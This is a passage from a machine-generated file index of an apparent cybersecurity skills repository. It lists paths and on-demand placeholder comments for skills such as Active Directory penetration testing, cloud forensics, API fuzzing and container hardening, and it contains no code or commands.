/api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-bloodhound-analysis%2Freferences%2Fworkflows.md -->","skills/performing-active-directory-compromise-investigation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-compromise-investigation%2FSKILL.md -->","skills/performing-active-directory-compromise-investigation/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-compromise-investigation%2Fassets%2Ftemplate.md -->","skills/performing-active-directory-compromise-investigation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-compromise-investigation%2Freferences%2Fapi-reference.md -->","skills/performing-active-directory-compromise-investigation/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-compromise-investigation%2Freferences%2Fstandards.md -->","skills/performing-active-directory-compromise-investigation/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-compromise-investigation%2Freferences%2Fworkflows.md -->","skills/performing-active-directory-forest-trust-attack/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-forest-trust-attack%2FSKILL.md -->","skills/performing-active-directory-forest-trust-attack/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-forest-trust-attack%2Freferences%2Fapi-reference.md -->","skills/performing-active-directory-penetration-test/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-penetration-test%2FSKILL.md -->","skills/performing-active-directory-penetration-test/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-penetration-test%2Fassets%2Ftemplate.md -->","skills/performing-active-directory-penetration-test/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-penetration-test%2Freferences%2Fapi-reference.md -->","skills/performing-active-directory-penetration-test/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-penetration-test%2Freferences%2Fstandards.md -->","skills/performing-active-directory-penetration-test/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-penetration-test%2Freferences%2Fworkflows.md -->","skills/performing-active-directory-vulnerability-assessment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-vulnerability-assessment%2FSKILL.md -->","skills/performing-active-directory-vulnerability-assessment/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-vulnerability-assessment%2Fassets%2Ftemplate.md -->","skills/performing-active-directory-vulnerability-assessment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-vulnerability-assessment%2Freferences%2Fapi-reference.md -->","skills/performing-active-directory-vulnerability-assessment/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-vulnerability-assessment%2Freferences%2Fstandards.md -->","skills/performing-active-directory-vulnerability-assessment/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-vulnerability-assessment%2Freferences%2Fworkflows.md -->","skills/performing-adversary-in-the-middle-phishing-detection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-adversary-in-the-middle-phishing-detection%2FSKILL.md -->","skills/performing-adversary-in-the-middle-phishing-detection/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-adversary-in-the-middle-phishing-detection%2Fassets%2Ftemplate.md -->","skills/performing-adversary-in-the-middle-phishing-detection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-adversary-in-the-middle-phishing-detection%2Freferences%2Fapi-reference.md -->","skills/performing-adversary-in-the-middle-phishing-detection/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-adversary-in-the-middle-phishing-detection%2Freferences%2Fstandards.md -->","skills/performing-adversary-in-the-middle-phishing-detection/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-adversary-in-the-middle-phishing-detection%2Freferences%2Fworkflows.md -->","skills/performing-agentless-vulnerability-scanning/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-agentless-vulnerability-scanning%2FSKILL.md -->","skills/performing-agentless-vulnerability-scanning/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-agentless-vulnerability-scanning%2Fassets%2Ftemplate.md -->","skills/performing-agentless-vulnerability-scanning/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-agentless-vulnerability-scanning%2Freferences%2Fapi-reference.md -->","skills/performing-agentless-vulnerability-scanning/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-agentless-vulnerability-scanning%2Freferences%2Fstandards.md -->","skills/performing-agentless-vulnerability-scanning/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-agentless-vulnerability-scanning%2Freferences%2Fworkflows.md -->","skills/performing-ai-driven-osint-correlation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ai-driven-osint-correlation%2FSKILL.md -->","skills/performing-ai-driven-osint-correlation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ai-driven-osint-correlation%2Freferences%2Fapi-reference.md -->","skills/performing-alert-triage-with-elastic-siem/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-alert-triage-with-elastic-siem%2FSKILL.md -->","skills/performing-alert-triage-with-elastic-siem/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-alert-triage-with-elastic-siem%2Fassets%2Ftemplate.md -->","skills/performing-alert-triage-with-elastic-siem/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-alert-triage-with-elastic-siem%2Freferences%2Fapi-reference.md -->","skills/performing-alert-triage-with-elastic-siem/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-alert-triage-with-elastic-siem%2Freferences%2Fstandards.md -->","skills/performing-alert-triage-with-elastic-siem/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-alert-triage-with-elastic-siem%2Freferences%2Fworkflows.md -->","skills/performing-android-app-static-analysis-with-mobsf/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-android-app-static-analysis-with-mobsf%2FSKILL.md -->","skills/performing-android-app-static-analysis-with-mobsf/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-android-app-static-analysis-with-mobsf%2Fassets%2Ftemplate.md -->","skills/performing-android-app-static-analysis-with-mobsf/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-android-app-static-analysis-with-mobsf%2Freferences%2Fapi-reference.md -->","skills/performing-android-app-static-analysis-with-mobsf/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-android-app-static-analysis-with-mobsf%2Freferences%2Fstandards.md -->","skills/performing-android-app-static-analysis-with-mobsf/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-android-app-static-analysis-with-mobsf%2Freferences%2Fworkflows.md -->","skills/performing-api-fuzzing-with-restler/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-api-fuzzing-with-restler%2FSKILL.md -->","skills/performing-api-fuzzing-with-restler/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-api-fuzzing-with-restler%2Freferences%2Fapi-reference.md -->","skills/performing-api-inventory-and-discovery/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-api-inventory-and-discovery%2FSKILL.md -->","skills/performing-api-inventory-and-discovery/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-api-inventory-and-discovery%2Freferences%2Fapi-reference.md -->","skills/performing-api-rate-limiting-bypass/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-api-rate-limiting-bypass%2FSKILL.md -->","skills/performing-api-rate-limiting-bypass/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-api-rate-limiting-bypass%2Freferences%2Fapi-reference.md -->","skills/performing-api-security-testing-with-postman/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-api-security-testing-with-postman%2FSKILL.md -->","skills/performing-api-security-testing-with-postman/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-api-security-testing-with-postman%2Freferences%2Fapi-reference.md -->","skills/performing-arp-spoofing-attack-simulation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-arp-spoofing-attack-simulation%2FSKILL.md -->","skills/performing-arp-spoofing-attack-simulation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-arp-spoofing-attack-simulation%2Freferences%2Fapi-reference.md -->","skills/performing-asset-criticality-scoring-for-vulns/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-asset-criticality-scoring-for-vulns%2FSKILL.md -->","skills/performing-asset-criticality-scoring-for-vulns/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-asset-criticality-scoring-for-vulns%2Fassets%2Ftemplate.md -->","skills/performing-asset-criticality-scoring-for-vulns/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-asset-criticality-scoring-for-vulns%2Freferences%2Fapi-reference.md -->","skills/performing-asset-criticality-scoring-for-vulns/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-asset-criticality-scoring-for-vulns%2Freferences%2Fstandards.md -->","skills/performing-asset-criticality-scoring-for-vulns/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-asset-criticality-scoring-for-vulns%2Freferences%2Fworkflows.md -->","skills/performing-authenticated-scan-with-openvas/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-authenticated-scan-with-openvas%2FSKILL.md -->","skills/performing-authenticated-scan-with-openvas/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-authenticated-scan-with-openvas%2Fassets%2Ftemplate.md -->","skills/performing-authenticated-scan-with-openvas/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-authenticated-scan-with-openvas%2Freferences%2Fapi-reference.md -->","skills/performing-authenticated-scan-with-openvas/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-authenticated-scan-with-openvas%2Freferences%2Fstandards.md -->","skills/performing-authenticated-scan-with-openvas/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-authenticated-scan-with-openvas%2Freferences%2Fworkflows.md -->","skills/performing-authenticated-vulnerability-scan/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-authenticated-vulnerability-scan%2FSKILL.md -->","skills/performing-authenticated-vulnerability-scan/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-authenticated-vulnerability-scan%2Fassets%2Ftemplate.md -->","skills/performing-authenticated-vulnerability-scan/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-authenticated-vulnerability-scan%2Freferences%2Fapi-reference.md -->","skills/performing-authenticated-vulnerability-scan/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-authenticated-vulnerability-scan%2Freferences%2Fstandards.md -->","skills/performing-authenticated-vulnerability-scan/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-authenticated-vulnerability-scan%2Freferences%2Fworkflows.md -->","skills/performing-automated-malware-analysis-with-cape/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-automated-malware-analysis-with-cape%2FSKILL.md -->","skills/performing-automated-malware-analysis-with-cape/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-automated-malware-analysis-with-cape%2Fassets%2Ftemplate.md -->","skills/performing-automated-malware-analysis-with-cape/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-automated-malware-analysis-with-cape%2Freferences%2Fapi-reference.md -->","skills/performing-automated-malware-analysis-with-cape/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-automated-malware-analysis-with-cape%2Freferences%2Fstandards.md -->","skills/performing-automated-malware-analysis-with-cape/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-automated-malware-analysis-with-cape%2Freferences%2Fworkflows.md -->","skills/performing-aws-account-enumeration-with-scout-suite/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-aws-account-enumeration-with-scout-suite%2FSKILL.md -->","skills/performing-aws-account-enumeration-with-scout-suite/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-aws-account-enumeration-with-scout-suite%2Fassets%2Ftemplate.md -->","skills/performing-aws-account-enumeration-with-scout-suite/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-aws-account-enumeration-with-scout-suite%2Freferences%2Fapi-reference.md -->","skills/performing-aws-account-enumeration-with-scout-suite/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-aws-account-enumeration-with-scout-suite%2Freferences%2Fstandards.md -->","skills/performing-aws-account-enumeration-with-scout-suite/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-aws-account-enumeration-with-scout-suite%2Freferences%2Fworkflows.md -->","skills/performing-aws-privilege-escalation-assessment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-aws-privilege-escalation-assessment%2FSKILL.md -->","skills/performing-aws-privilege-escalation-assessment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-aws-privilege-escalation-assessment%2Freferences%2Fapi-reference.md -->","skills/performing-bandwidth-throttling-attack-simulation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-bandwidth-throttling-attack-simulation%2FSKILL.md -->","skills/performing-bandwidth-throttling-attack-simulation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-bandwidth-throttling-attack-simulation%2Freferences%2Fapi-reference.md -->","skills/performing-binary-exploitation-analysis/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-binary-exploitation-analysis%2FSKILL.md -->","skills/performing-binary-exploitation-analysis/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-binary-exploitation-analysis%2Freferences%2Fapi-reference.md -->","skills/performing-blind-ssrf-exploitation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-blind-ssrf-exploitation%2FSKILL.md -->","skills/performing-blind-ssrf-exploitation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-blind-ssrf-exploitation%2Freferences%2Fapi-reference.md -->","skills/performing-bluetooth-security-assessment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-bluetooth-security-assessment%2FSKILL.md -->","skills/performing-bluetooth-security-assessment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-bluetooth-security-assessment%2Freferences%2Fapi-reference.md -->","skills/performing-brand-monitoring-for-impersonation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-brand-monitoring-for-impersonation%2FSKILL.md -->","skills/performing-brand-monitoring-for-impersonation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-brand-monitoring-for-impersonation%2Freferences%2Fapi-reference.md -->","skills/performing-clickjacking-attack-test/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-clickjacking-attack-test%2FSKILL.md -->","skills/performing-clickjacking-attack-test/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-clickjacking-attack-test%2Freferences%2Fapi-reference.md -->","skills/performing-cloud-asset-inventory-with-cartography/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-asset-inventory-with-cartography%2FSKILL.md -->","skills/performing-cloud-asset-inventory-with-cartography/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-asset-inventory-with-cartography%2Fassets%2Ftemplate.md -->","skills/performing-cloud-asset-inventory-with-cartography/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-asset-inventory-with-cartography%2Freferences%2Fapi-reference.md -->","skills/performing-cloud-asset-inventory-with-cartography/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-asset-inventory-with-cartography%2Freferences%2Fstandards.md -->","skills/performing-cloud-asset-inventory-with-cartography/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-asset-inventory-with-cartography%2Freferences%2Fworkflows.md -->","skills/performing-cloud-forensics-investigation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-forensics-investigation%2FSKILL.md -->","skills/performing-cloud-forensics-investigation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-forensics-investigation%2Freferences%2Fapi-reference.md -->","skills/performing-cloud-forensics-with-aws-cloudtrail/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-forensics-with-aws-cloudtrail%2FSKILL.md -->","skills/performing-cloud-forensics-with-aws-cloudtrail/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-forensics-with-aws-cloudtrail%2Freferences%2Fapi-reference.md -->","skills/performing-cloud-incident-containment-procedures/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-incident-containment-procedures%2FSKILL.md -->","skills/performing-cloud-incident-containment-procedures/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-incident-containment-procedures%2Fassets%2Ftemplate.md -->","skills/performing-cloud-incident-containment-procedures/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-incident-containment-procedures%2Freferences%2Fapi-reference.md -->","skills/performing-cloud-incident-containment-procedures/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-incident-containment-procedures%2Freferences%2Fstandards.md -->","skills/performing-cloud-incident-containment-procedures/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-incident-containment-procedures%2Freferences%2Fworkflows.md -->","skills/performing-cloud-log-forensics-with-athena/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-log-forensics-with-athena%2FSKILL.md -->","skills/performing-cloud-log-forensics-with-athena/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-log-forensics-with-athena%2Freferences%2Fapi-reference.md -->","skills/performing-cloud-log-forensics-with-athena/references/athena-forensics-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-log-forensics-with-athena%2Freferences%2Fathena-forensics-reference.md -->","skills/performing-cloud-native-forensics-with-falco/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-native-forensics-with-falco%2FSKILL.md -->","skills/performing-cloud-native-forensics-with-falco/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-native-forensics-with-falco%2Freferences%2Fapi-reference.md -->","skills/performing-cloud-native-threat-hunting-with-aws-detective/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-native-threat-hunting-with-aws-detective%2FSKILL.md -->","skills/performing-cloud-native-threat-hunting-with-aws-detective/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-native-threat-hunting-with-aws-detective%2Fassets%2Ftemplate.md -->","skills/performing-cloud-native-threat-hunting-with-aws-detective/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-native-threat-hunting-with-aws-detective%2Freferences%2Fapi-reference.md -->","skills/performing-cloud-native-threat-hunting-with-aws-detective/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-native-threat-hunting-with-aws-detective%2Freferences%2Fstandards.md -->","skills/performing-cloud-native-threat-hunting-with-aws-detective/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-native-threat-hunting-with-aws-detective%2Freferences%2Fworkflows.md -->","skills/performing-cloud-penetration-testing-with-pacu/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-penetration-testing-with-pacu%2FSKILL.md -->","skills/performing-cloud-penetration-testing-with-pacu/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-penetration-testing-with-pacu%2Freferences%2Fapi-reference.md -->","skills/performing-cloud-storage-forensic-acquisition/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-storage-forensic-acquisition%2FSKILL.md -->","skills/performing-cloud-storage-forensic-acquisition/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-storage-forensic-acquisition%2Fassets%2Ftemplate.md -->","skills/performing-cloud-storage-forensic-acquisition/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-storage-forensic-acquisition%2Freferences%2Fapi-reference.md -->","skills/performing-cloud-storage-forensic-acquisition/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-storage-forensic-acquisition%2Freferences%2Fstandards.md -->","skills/performing-cloud-storage-forensic-acquisition/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-storage-forensic-acquisition%2Freferences%2Fworkflows.md -->","skills/performing-container-escape-detection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-container-escape-detection%2FSKILL.md -->","skills/performing-container-escape-detection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-container-escape-detection%2Freferences%2Fapi-reference.md -->","skills/performing-container-image-hardening/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-container-image-hardening%2FSKILL.md -->","skills/performing-container-image-hardening/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-container-image-hardening%2Fassets%2Ftemplate.md -->","skills/performing-container-image-hardening/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-container-image-hardening%2Freferences%2Fapi-reference.md -->","skills/performing-container-image-hardening/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-container-image-hardening%2Freferences%2Fstandards.md -->","skills/performing-container-image-hardening/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-container-image-hardening%2Freferences%2Fworkflows.md -->","skills/performing-container-security-scanning-with-trivy/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-container-security-scanning-with-trivy%2FSKILL.md -->","skills/performing-container-security-scanning-with-trivy/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-container-security-scanning-with-trivy%2Freferences%2Fapi-reference.md -->","skills/performing-content-security-policy-bypass/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-content-security-policy-bypass%2FSKILL.md -->","skills/performing-content-security-policy-bypass/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-content-security-policy-bypass%2Freferences%2Fapi-reference.md -->","skills/performing-credential-access-with-lazagne/SKILL.md":"<!-- Skill available on-demand via 